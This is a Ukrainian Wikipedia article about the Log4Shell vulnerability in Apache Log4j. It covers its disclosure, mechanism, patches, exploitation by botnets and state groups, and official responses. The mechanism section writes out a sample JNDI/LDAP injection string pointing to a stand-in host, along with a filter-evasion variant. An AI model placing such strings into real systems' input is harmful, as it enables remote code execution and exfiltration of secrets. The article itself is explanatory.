Log4Shell

Матеріал з Вікіпедії — вільної енциклопедії.
Перейти до навігації Перейти до пошуку

Log4Shell (CVE-2021-44228) — це вразливість нульового дня в Log4j, популярному середовищі ведення журналів Java, що включає виконання довільного коду.[1][2] Вразливість – її існування не було помічено з 2013 року – було розкрито в приватному порядку Apache Software Foundation, проектом якої є Log4j, Чен Чжаоцзюнь із групи безпеки Alibaba Cloud 24 листопада 2021 року та публічно розкрито 9 грудня 2021 року.[3][4][5][6] Apache дав Log4Shell оцінку серйозності CVSS 10, найвищу доступну оцінку.[7] Підраховано, що експлойт торкається сотень мільйонів пристроїв і дуже простий у використанні.[8][9]

Уразливість використовує те, що Log4j дозволяє запити до довільних серверів LDAP та JNDI, а не перевіряє відповіді,[1][10][11] дозволяючи зловмисникам виконувати довільний код Java на сервері чи іншому комп'ютері або передавати конфіденційну інформацію.[5] Список вразливих програмних проектів був опублікований групою безпеки Apache.[12] Затронуті комерційні служби включають Amazon Web Services,[13] Cloudflare,[14] iCloud, Minecraft: Java Edition,[15] Steam, Tencent QQ та багато інших.[10][16][17] За даними Wiz та EY, вразливість торкнулася 93% корпоративних хмарних середовищ.[18]

Експерти охарактеризували Log4Shell як найбільшу вразливість за всю історію;[19] LunaSec охарактеризувала його як «проектний збій катастрофічних масштабів»,[5] Tenable сказав, що експлойт був «найбільшою і найкритичнішою вразливістю в історії»,[20] Ars Technica назвав його «можливо найсерйознішою вразливістю за всю історію».[21] і The Washington Post заявили, що описи фахівців з безпеки «межують з апокаліпсисом».[19]

Передісторія[ред. | ред. код]

Log4j — це бібліотека журналювання з відкритим вихідним кодом, яка дозволяє розробникам програмного забезпечення реєструвати дані у своїх додатках. Ці дані можуть включати введення користувача.[22] Він повсюдно використовується в програмах Java, особливо в корпоративному програмному забезпеченні.[5] Спочатку написаний у 2001 році Чекі Гюльджю, тепер він є частиною Apache Logging Services, проекту Apache Software Foundation.[23] Колишній член комісії з кібербезпеки президента Барака Обами Том Келлерманн охарактеризував Apache як «одну з гігантських опор мосту, що сприяє сполучній тканині між світами додатків та комп'ютерним середовищем».[24]

Поведінка[ред. | ред. код]

Інтерфейс іменування та каталогів Java (JNDI) дозволяє виконувати пошук об'єктів Java під час виконання програми з урахуванням шляху до даних. JNDI може використовувати кілька інтерфейсів каталогів, кожен із яких забезпечує свою схему пошуку файлів. Серед цих інтерфейсів — полегшений протокол доступу до каталогів (LDAP), протокол, не пов'язаний з Java,[25] який витягує дані об'єкта у вигляді URL-адреси з відповідного сервера, локального або будь-якого іншого в Інтернеті.[26]

У конфігурації за умовчанням під час реєстрації рядка Log4j 2 виконує підстановку рядків у виразах виду ${prefix:name}.[27] Наприклад, Text: ${java:version} можна перетворити на Text: Java version 1.7.0_67.[28] Серед розпізнаних виразів є ${jndi:<lookup>}; вказавши пошук через LDAP, довільна URL-адреса може бути запитана і завантажена як дані об'єкта Java. ${jndi:ldap://example.com/file} завантажить дані з цієї URL-адреси під час підключення до Інтернету. Вводячи рядок, який реєструється, зловмисник може завантажити та виконати шкідливий код, розміщений на загальнодоступній URL-адресі.[29] Навіть якщо виконання даних вимкнено, зловмисник може отримати дані, такі як секретні змінні середовища, розміщуючи їх в URL-адресі, в якій вони будуть замінені та надіслані на сервер зловмисника.[30][31] Крім LDAP, інші потенційно використовувані протоколи пошуку JNDI включають його безпечний варіант LDAPS, Java Remote Method Invocation (RMI), систему доменних імен (DNS) та Internet Inter-ORB Protocol (IIOP).[32][33]

Оскільки HTTP-запити часто реєструються, поширеним вектором атаки є розміщення шкідливого рядка в URL-адресі HTTP-запиту або в HTTP-заголовку, що часто реєструється, такому як User-Agent. Ранні заходи захисту включали блокування будь-яких запитів, що містять потенційно шкідливий вміст, наприклад ${jndi.[34] Наївний пошук можна обійти, заплутавши запит: наприклад, ${${lower:j}ndi буде перетворено на пошук JNDI після виконання малої операції над літерою j.[35] Навіть якщо введення, таке як ім'я, не реєструється відразу, воно може бути пізніше записане під час внутрішньої обробки і його вміст буде виконано.[36]

Виправлення[ред. | ред. код]

Виправлення для цієї вразливості випустили 6 грудня 2021 року, за три дні до публікації вразливості, в Log4j версії 2.15.0-rc1.[37][38][39] Виправлення включало обмеження серверів і протоколів, які можна використовувати для пошуку. Дослідники виявили пов'язану помилку CVE-2021-45046, яка допускає локальне або віддалене виконання коду в певних конфігураціях, відмінних від налаштувань за умовчанням, і була виправлена у версії 2.16.0, яка відключила всі функції з використанням JNDI та підтримку пошуку повідомлень.[40][41] Для попередніх версій клас org.apache.logging.log4j.core.lookup. JndiLookup необхідно видалити з шляху до класів, щоб зменшити обидві вразливості.[7][42] Раніше рекомендоване виправлення для старих версій полягало в установці для системної властивості log4j2.formatMsgNoLookups true, але ця зміна не запобігає використанню CVE-2021-45046.[43]

Більш нові версії Java Runtime Environment (JRE) також зменшують цю вразливість, блокуючи завантаження віддаленого коду за умовчанням, хоча в деяких додатках все ще існують інші напрямки атак.[1][30][44][45] Було опубліковано кілька методів та інструментів, які допомагають виявити використання вразливих версій log4j у вбудованих пакетах Java.[46]

Використання[ред. | ред. код]

Експлойт дозволяє хакерам отримати контроль над вразливими пристроями за допомогою Java.[8] Деякі хакери використовують вразливість, щоб використовувати можливості жертв; у тому числі майнінг криптовалюти, створення ботнетів, розсилання спаму, створення бекдорів та інші незаконні дії, такі як атаки програм-вимагачів.[8][19][47] Протягом кількох днів після публікації вразливості Check Point відслідковувала мільйони атак, ініційованих хакерами, при цьому деякі дослідники спостерігали швидкість понад сто атак на хвилину, що зрештою призвело до більш ніж 40% атак. бізнес-мереж, які зазнають міжнародних атак.[8][24]

За словами генерального директора Cloudflare Метью Прінса, докази використання або тестування експлойту з'явилися ще 1 грудня, за дев'ять днів до того, як його було публічно розкрито. Згідно з кібербезпекою фірми GreyNoise, кілька IP-адрес були зіскібами сайтів для перевірки серверів, які мають вразливість.[48] Декілька ботнетів почали сканування на предмет вразливості, включаючи ботнет Muhstik до 10 грудня, а також Mirai, Tsunami та XMRig.[8][49][50] Конті було помічено з використанням уразливості 17 грудня.[19]

Деякі групи, що спонсоруються державою в Китаї та Ірані, також використовували експлойт, згідно з Check Point, хоча невідомо, чи використовувався експлойт Ізраїлем, Росією чи США до розкриття вразливості.[19][51] Check Point заявила, що 15 грудня 2021 року хакери, які підтримує Іран, спробували проникнути в мережі підприємств та уряди Ізраїлю.[19]

Відповідь та вплив[ред. | ред. код]

Урядовий[ред. | ред. код]

У Сполучених Штатах директор Агентства з кібербезпеки та безпеки інфраструктури (CISA) Джен Істерлі описала експлойт як «один із найсерйозніших, якщо не найсерйозніший, який я бачив за всю свою кар'єру», пояснивши, що сотні мільйонів пристроїв були порушені та рекомендували постачальникам приділяти пріоритетна увага оновлень програмного забезпечення.[8][52][53] Громадянські агентства, найняті урядом США, мали до 24 грудня 2021 року виправити вразливості, хоча на той час це вже дозволило б отримати доступ до сотень тисяч цілей.[19]

Канадський центр кібербезпеки (CCCS) закликав організації вжити негайних заходів.[54] Податкове управління Канади тимчасово відключило свої онлайн-сервіси після того, як дізналося про експлойт, тоді як уряд Квебеку закрив майже 4000 своїх веб-сайтів як «превентивний захід».[55]

Федеральне управління безпеки Німеччини (BSI) визначило експлойт як загрозу, що знаходиться на найвищому рівні, назвавши його «надзвичайно критичною небезпечною ситуацією» (перекладено). Він також повідомив, що кілька атак вже були успішними і що масштаби вразливості, як і раніше, важко оцінити.[56][57] Національний центр кібербезпеки Нідерландів (NCSC) розпочав постійний список вразливих програм.[58][59]

Міністерство промисловості та інформаційних технологій Китаю призупинило роботу з Alibaba Cloud як партнер з аналізу загроз кібербезпеці на шість місяців через те, що не повідомило про вразливість уряду першим.[60]

Бізнеси[ред. | ред. код]

Дослідження, проведене Wiz та EY[18] показало, що 93% хмарного корпоративного середовища були вразливі для Log4Shell. 7% вразливих робочих навантажень доступні в Інтернеті і схильні до широких спроб експлуатації. Згідно з дослідженням, через десять днів після публікації вразливості (20 грудня 2021 року) лише 45% вразливих робочих навантажень було виправлено в середньому в хмарних середовищах. Хмарні дані Amazon, Google і Microsoft торкнулися Log4Shell.[19]

Компанія з управління персоналом і персоналом UKG, одна з найбільших компаній у галузі, зазнала атаки програм-вимагачів, що торкнулася великих підприємств.[21][61] UKG заявила, що вона не має доказів використання Log4Shell в інциденті, хоча аналітик Аллан Ліска з компанії Recorded Future, що займається кібербезпекою, сказав, що, можливо, існує зв'язок.[62]

Оскільки великі компанії почали випускати виправлення для експлойту, ризик для малого бізнесу збільшився, оскільки хакери зосередилися на більш вразливих цілях.[47]

Конфіденційність[ред. | ред. код]

Персональні пристрої, такі як Smart TV та камери відеоспостереження, підключені до Інтернету, були вразливими для експлойту.[19]

Аналіз[ред. | ред. код]

Станом на 14 грудня 2021 року майже половину всіх корпоративних мереж у світі було активно досліджено, і протягом доби було створено понад 60 варіантів експлойту.[63] Check Point Software Technologies у докладному аналізі описала ситуацію як «справжню кіберпандемію» та охарактеризувала можливість завдання шкоди як «незліченну».[64] У кількох початкових рекомендаціях було завищено кількість вразливих пакетів, що призводило до помилкових спрацьовувань. Зокрема пакет «log4j api» був відзначений як уразливий, тоді як насправді подальші дослідження показали, що вразливим був лише основний пакет «log4j-core».

Це було підтверджено як у вихідній галузі випуску,[65] так і зовнішніми дослідниками безпеки.

Технологічний журнал Wired написав, що, незважаючи на попередній«галас» навколо численних уразливостей, «галас навколо вразливості Log4j… виправдовує себе з цілого ряду причин».[51] Журнал пояснює, що всюдисутність log4j, вразливість якої важко виявити за потенційними цілями, і легкість передачі коду на комп'ютер жертви створили «поєднання серйозності, доступності та поширеності, яка вразила фахівців з безпеки».[51] Wired також схематично представив послідовність використання Log4Shell хакерами: групи, що займаються майнінгом, криптовалют першими почнуть експлуатувати вразливість, потім торговці даними продадуть «плацдарм» кіберзлочинцям, які нарешті займуться вимаганням, шпигунством та знищенням даних.[51]

Аміт Йоран, генеральний директор Tenable і директор-засновник групи готовності до комп'ютерних надзвичайних ситуацій у США, заявив: «[Log4Shell], безумовно, найбільша та критична вразливість в історії», зазначивши, що витончені атаки почалися невдовзі після помилки, заявивши: «Ми також вже бачимо, що він використовується для атак програм-вимагачів, що, знову ж таки, має стати серйозним сигналом тривоги... Ми також бачили повідомлення про зловмисників, які використовують Log4Shell для знищення систем, навіть не намагаючись отримати викуп, — досить незвичайне поведінка».[51] Старший дослідник загроз Sophos Шон Галлахер сказав: «Чесно кажучи, найбільша загроза тут полягає в тому, що люди вже отримали доступ і просто користуються ним, і навіть якщо ви усунете проблему, хтось вже перебуває в мережі... Він буде існувати стільки ж, скільки й Інтернет».[20]

Примітки[ред. | ред. код]

  1. ↑ а б в Wortley, Free (9 грудня 2021). Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package. LunaSec (англ.). Архів оригіналу за 25 грудня 2021. Процитовано 12 грудня 2021.
  2. ↑ CVE-2021-44228. Common Vulnerabilities and Exposures. Архів оригіналу за 25 грудня 2021. Процитовано 12 грудня 2021.
  3. ↑ Povolny, Steve (10 грудня 2021). Log4Shell Vulnerability is the Coal in our Stocking for 2021. McAfee (англ.). Архів оригіналу за 24 грудня 2021. Процитовано 12 грудня 2021.
  4. ↑ Worst Apache Log4j RCE Zero day Dropped on Internet. Cyber Kendra. 9 грудня 2021. Архів оригіналу за 24 грудня 2021. Процитовано 12 грудня 2021.
  5. ↑ а б в г Newman, Lily Hay (10 грудня 2021). 'The Internet Is on Fire'. Wired (амер.). ISSN 1059-1028. Архів оригіналу за 24 грудня 2021. Процитовано 12 грудня 2021.
  6. ↑ Murphy, Hannah (14 грудня 2021). Hackers launch more than 1.2m attacks through Log4J flaw. Financial Times. Архів оригіналу за 17 грудня 2021. Процитовано 17 грудня 2021.
  7. ↑ а б Apache Log4j Security Vulnerabilities. Log4j. Apache Software Foundation. Архів оригіналу за 26 грудня 2021. Процитовано 12 грудня 2021.
  8. ↑ а б в г д е Murphy, Hannah (14 грудня 2021). Hackers launch more than 1.2m attacks through Log4J flaw. Financial Times. Архів оригіналу за 21 грудня 2021. Процитовано 17 грудня 2021. {{cite news}}: Вказано більш, ніж один |accessdate= та |access-date= (довідка)
  9. ↑ Hunter, Tatum (20 грудня 2021). The ‘most serious’ security breach ever is unfolding right now. Here’s what you need to know. The Washington Post. Архів оригіналу за 27 грудня 2021. Процитовано 25 грудня 2021. {{cite web}}: Вказано більш, ніж один |url-status= та |deadlink= (довідка)
  10. ↑ а б Mott, Nathaniel (10 грудня 2021). Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit. PC Magazine (англ.). Архів оригіналу за 24 грудня 2021. Процитовано 12 грудня 2021.
  11. ↑ Goodin, Dan (10 грудня 2021). Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet. Ars Technica (en-us) . Архів оригіналу за 23 грудня 2021. Процитовано 12 грудня 2021.
  12. ↑ Apache projects affected by log4j CVE-2021-44228. 14 грудня 2021. Архів оригіналу за 17 грудня 2021. Процитовано 25 грудня 2021. {{cite web}}: Вказано більш, ніж один |url-status= та |deadlink= (довідка)
  13. ↑ Update for Apache Log4j2 Issue (CVE-2021-44228). Amazon Web Services. 12 грудня 2021. Архів оригіналу за 28 грудня 2021. Процитовано 13 грудня 2021.
  14. ↑ Lovejoy, Ben (14 грудня 2021). Apple patches Log4Shell iCloud vulnerability, described as most critical in a decade. 9to5mac. Архів оригіналу за 23 грудня 2021. Процитовано 25 грудня 2021.
  15. ↑ Security Vulnerability in Minecraft: Java Edition. Minecraft. Mojang Studios. Архів оригіналу за 24 грудня 2021. Процитовано 13 грудня 2021.
  16. ↑ Goodin, Dan (10 грудня 2021). The Internet's biggest players are all affected by critical Log4Shell 0-day. ArsTechnica. Архів оригіналу за 25 грудня 2021. Процитовано 13 грудня 2021.
  17. ↑ Rundle, David Uberti and James (15 грудня 2021). What Is the Log4j Vulnerability?. Архів оригіналу за 25 грудня 2021. Процитовано 25 грудня 2021.
  18. ↑ а б Enterprises halfway through patching Log4Shell | Wiz Blog. www.wiz.io. Архів оригіналу за 20 грудня 2021. Процитовано 20 грудня 2021.
  19. ↑ а б в г д е ж и к Hunter, Tatum; de Vynck, Gerrit (20 грудня 2021). The ‘most serious’ security breach ever is unfolding right now. Here’s what you need to know. The Washington Post. Архів оригіналу за 27 грудня 2021. Процитовано 25 грудня 2021. {{cite web}}: Вказано більш, ніж один |url-status= та |deadlink= (довідка)
  20. ↑ а б Barrett, Brian. The Next Wave of Log4J Attacks Will Be Brutal. Wired (амер.). ISSN 1059-1028. Архів оригіналу за 17 грудня 2021. Процитовано 17 грудня 2021.
  21. ↑ а б Goodin, Dan (13 грудня 2021). As Log4Shell wreaks havoc, payroll service reports ransomware attack. Ars Technica (en-us) . Архів оригіналу за 17 грудня 2021. Процитовано 17 грудня 2021. {{cite web}}: Вказано більш, ніж один |url-status= та |deadlink= (довідка)
  22. ↑ Yan, Tao (10 грудня 2021). Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228). Unit 42 (англ.). Palo Alto Networks. Архів оригіналу за 24 грудня 2021. Процитовано 25 грудня 2021.
  23. ↑ Apache Log4j 2. Apache Software Foundation. Архів оригіналу за 14 грудня 2021. Процитовано 12 грудня 2021.
  24. ↑ а б Byrnes, Jesse (14 грудня 2021). Hillicon Valley — Apache vulnerability sets off alarm bells. TheHill (англ.). Архів оригіналу за 17 грудня 2021. Процитовано 17 грудня 2021. {{cite web}}: Вказано більш, ніж один |url-status= та |deadlink= (довідка)
  25. ↑ [[[:Шаблон:Cite IETF/makelink]] [[:Шаблон:Cite IETF/doctypes]]]. doi:10.17487/RFCrfc4511. {{citation}}: Назва URL містить вбудоване вікіпосилання (довідка)
  26. ↑ Graham-Cumming, John (10 грудня 2021). Inside the Log4j2 vulnerability (CVE-2021-44228). The Cloudflare Blog (англ.). Архів оригіналу за 22 грудня 2021. Процитовано 13 грудня 2021.
  27. ↑ Graham-Cumming, John (10 грудня 2021). Inside the Log4j2 vulnerability (CVE-2021-44228). The Cloudflare Blog (англ.). Архів оригіналу за 22 грудня 2021. Процитовано 13 грудня 2021.
  28. ↑ Lookups. Log4j. Apache Software Foundation. Архів оригіналу за 25 грудня 2021. Процитовано 13 грудня 2021.
  29. ↑ Graham-Cumming, John (10 грудня 2021). Inside the Log4j2 vulnerability (CVE-2021-44228). The Cloudflare Blog (англ.). Архів оригіналу за 22 грудня 2021. Процитовано 13 грудня 2021.
  30. ↑ а б Ducklin, Paul (12 грудня 2021). Log4Shell explained – how it works, why you need to know, and how to fix it. Naked Security. Sophos. Архів оригіналу за 26 грудня 2021. Процитовано 12 грудня 2021.
  31. ↑ Miessler, Daniel (13 грудня 2021). The log4j (Log4Shell) Situation. Unsupervised Learning. Архів оригіналу за 13 грудня 2021. Процитовано 25 грудня 2021.
  32. ↑ Duraishamy, Ranga (13 грудня 2021). Patch Now Apache Log4j Vulnerability Called Log4Shell Actively Exploited. Trend Micro. Архів оригіналу за 20 грудня 2021. Процитовано 14 грудня 2021.
  33. ↑ Narang, Satnam (10 грудня 2021). CVE-2021-44228: Proof-of-Concept for Critical Apache Log4j Remote Code Execution Vulnerability Available (Log4Shell). Tenable Blog. Архів оригіналу за 20 грудня 2021. Процитовано 14 грудня 2021.
  34. ↑ Gabor, Gabriel (10 грудня 2021). CVE-2021-44228 - Log4j RCE 0-day mitigation. The Cloudflare Blog. Архів оригіналу за 23 грудня 2021. Процитовано 13 грудня 2021.
  35. ↑ Hahad, Mounir (12 грудня 2021). Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns. Архів оригіналу за 13 грудня 2021. Процитовано 12 грудня 2021.
  36. ↑ Graham-Cumming, John (10 грудня 2021). Inside the Log4j2 vulnerability (CVE-2021-44228). The Cloudflare Blog (англ.). Архів оригіналу за 22 грудня 2021. Процитовано 13 грудня 2021.
  37. ↑ Restrict LDAP access via JNDI by rgoers #608. Log4j (англ.). 5 грудня 2021. Архів оригіналу за 30 грудня 2021. Процитовано 12 грудня 2021.
  38. ↑ Berger, Andreas (17 грудня 2021). What is Log4Shell? The Log4j vulnerability explained (and what to do about it). Dynatrace news. Архів оригіналу за 21 грудня 2021. Процитовано 25 грудня 2021. Apache issued a patch for CVE-2021-44228, version 2.15, on December 6. However, this patch left part of the vulnerability unfixed, resulting in CVE-2021-45046 and a second patch, version 2.16, released on December 13. Apache released a third patch, version 2.17, on December 17 to fix another related vulnerability, CVE-2021-45105.
  39. ↑ Rudis, boB (10 грудня 2021). Widespread Exploitation of Critical Remote Code Execution in Apache Log4j | Rapid7 Blog. Rapid7 (англ.). Архів оригіналу за 21 грудня 2021. Процитовано 25 грудня 2021.
  40. ↑ CVE-2021-45046. Common Vulnerabilities and Exposures. 15 грудня 2021. Архів оригіналу за 25 грудня 2021. Процитовано 15 грудня 2021.
  41. ↑ Greig, Jonathan (14 грудня 2021). Second Log4j vulnerability discovered, patch already released. ZDNet (англ.). Архів оригіналу за 27 грудня 2021. Процитовано 17 грудня 2021.
  42. ↑ CVE-2021-45046. Common Vulnerabilities and Exposures. 15 грудня 2021. Архів оригіналу за 25 грудня 2021. Процитовано 15 грудня 2021.
  43. ↑ CVE-2021-45046. Common Vulnerabilities and Exposures. 15 грудня 2021. Архів оригіналу за 25 грудня 2021. Процитовано 15 грудня 2021.
  44. ↑ Java(TM) SE Development Kit 8, Update 121 (JDK 8u121) Release Notes (англ.). Oracle. 17 січня 2017. Архів оригіналу за 19 грудня 2021. Процитовано 13 грудня 2021.
  45. ↑ Exploiting JNDI Injections in Java. Veracode. 3 січня 2019. Архів оригіналу за 15 грудня 2021. Процитовано 15 грудня 2021.
  46. ↑ Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228). www.lunasec.io (англ.). 13 грудня 2021. Архів оригіналу за 24 грудня 2021. Процитовано 13 грудня 2021.
  47. ↑ а б Woodyard, Chris. 'Critical vulnerability': Smaller firms may find it harder to stop hackers from exploiting Log4j flaw. USA Today (амер.). Процитовано 17 грудня 2021.{{cite web}}: Обслуговування CS1: Сторінки з параметром url-status, але без параметра archive-url (посилання)
  48. ↑ Exploit activity for Apache Log4j vulnerability - CVE-2021-44228. Greynoise Research. 10 грудня 2021. Архів оригіналу за 20 грудня 2021. Процитовано 14 грудня 2021.
  49. ↑ Duckett, Chris. Log4j RCE activity began on 1 December as botnets start using vulnerability. ZDNet (англ.). Архів оригіналу за 22 грудня 2021. Процитовано 13 грудня 2021.
  50. ↑ Zugec, Martin (13 грудня 2021). Technical Advisory: Zero-day critical vulnerability in Log4j2 exploited in the wild. Business Insights. Bitdefender. Архів оригіналу за 15 грудня 2021. Процитовано 25 грудня 2021.
  51. ↑ а б в г д Barrett, Brian. The Next Wave of Log4J Attacks Will Be Brutal. Wired (амер.). ISSN 1059-1028. Архів оригіналу за 27 грудня 2021. Процитовано 17 грудня 2021. {{cite news}}: Вказано більш, ніж один |accessdate= та |access-date= (довідка)
  52. ↑ Statement from CISA Director Easterly on "Log4j" Vulnerability. CISA. 11 грудня 2021. Архів оригіналу за 27 грудня 2021. Процитовано 25 грудня 2021.
  53. ↑ Woodyard, Chris. 'Critical vulnerability': Smaller firms may find it harder to stop hackers from exploiting Log4j flaw. USA Today (амер.). Процитовано 17 грудня 2021.{{cite web}}: Обслуговування CS1: Сторінки з параметром url-status, але без параметра archive-url (посилання)
  54. ↑ Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action. Government of Canada (англ.). 12 грудня 2021. Архів оригіналу за 20 грудня 2021. Процитовано 25 грудня 2021.
  55. ↑ Cabrera, Holly (12 грудня 2021). Facing cybersecurity threats, Quebec shuts down government websites for evaluation. CBC News. Архів оригіналу за 20 грудня 2021. Процитовано 12 грудня 2021.
  56. ↑ Sauerwein, Jörg (12 грудня 2021). BSI warnt vor Sicherheitslücke. Tagesschau (нім.). Архів оригіналу за 5 січня 2022. Процитовано 25 грудня 2021.
  57. ↑ Warnstufe Rot: Schwachstelle Log4Shell führt zu extrem kritischer Bedrohungslage (Пресреліз) (нім.). 11 грудня 2021. Архів оригіналу за 13 грудня 2021. Процитовано 25 грудня 2021.
  58. ↑ J. Vaughan-Nichols, Steven (14 грудня 2021). Log4Shell: We Are in So Much Trouble. The New Stack. Архів оригіналу за 23 грудня 2021. Процитовано 25 грудня 2021.
  59. ↑ NCSC-NL/log4shell. National Cyber Security Centre (Netherlands). Архів оригіналу за 29 грудня 2021. Процитовано 14 грудня 2021.
  60. ↑ Apache Log4j bug: China’s industry ministry pulls support from Alibaba Cloud for not reporting flaw to government first. Архів оригіналу за 25 грудня 2021. Процитовано 25 грудня 2021.
  61. ↑ Bray, Hiawatha (15 грудня 2021). Emerging ‘Log4j’ software bug spawns worldwide worry over cyber attacks - The Boston Globe. The Boston Globe (амер.). Архів оригіналу за 17 грудня 2021. Процитовано 17 грудня 2021. {{cite web}}: Вказано більш, ніж один |url-status= та |deadlink= (довідка)
  62. ↑ Bray, Hiawatha (15 грудня 2021). Emerging ‘Log4j’ software bug spawns worldwide worry over cyber attacks - The Boston Globe. The Boston Globe (амер.). Архів оригіналу за 17 грудня 2021. Процитовано 17 грудня 2021. {{cite web}}: Вказано більш, ніж один |url-status= та |deadlink= (довідка)
  63. ↑ Almost half of networks probed for Log4Shell weaknesses. ComputerWeekly. 14 грудня 2021. Архів оригіналу за 20 грудня 2021. Процитовано 25 грудня 2021.
  64. ↑ The numbers behind a cyber pandemic – detailed dive. Check Point Software. 13 грудня 2021. Архів оригіналу за 24 грудня 2021. Процитовано 25 грудня 2021.
  65. ↑ LOG4J2-3201: Limit the protocols JNDI can use and restrict LDAP. Apache's JIRA issue tracker. Архів оригіналу за 25 грудня 2021. Процитовано 14 грудня 2021.
Отримано з https://uk.wikipedia.org/w/index.php?title=Log4Shell&oldid=39553370